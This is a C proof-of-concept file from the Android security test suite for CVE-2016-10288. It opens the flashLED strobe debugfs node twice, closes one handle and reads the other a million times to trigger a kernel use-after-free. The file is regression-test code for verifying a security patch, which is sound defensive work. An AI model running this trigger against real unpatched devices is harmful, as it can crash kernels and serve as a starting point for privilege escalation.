hostsidetests/security/securityPatch/CVE-2016-10288/poc.c

/**
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#include <asm/ioctl.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>

#define SIZE 64

void trigger_crash(int fd);
void testuaf(void);

void trigger_crash(int fd) {
  int i, ret = -1;
  int count = 1000000;
  char buf[SIZE] = {0};

  for (i = 0; i < count; i++) {
    ret = read(fd, buf, SIZE);
  }
}

void testuaf(void) {
const char *infopath = "/sys/kernel/debug/flashLED/strobe";
  int fd1 = -1;
  int fd2 = -1;

  fd1 = open(infopath, O_RDWR);
  fd2 = open(infopath, O_RDWR);
  close(fd2);
  trigger_crash(fd1);
}

int main(int argc, char *argv[]) {
  testuaf();
  return 0;
}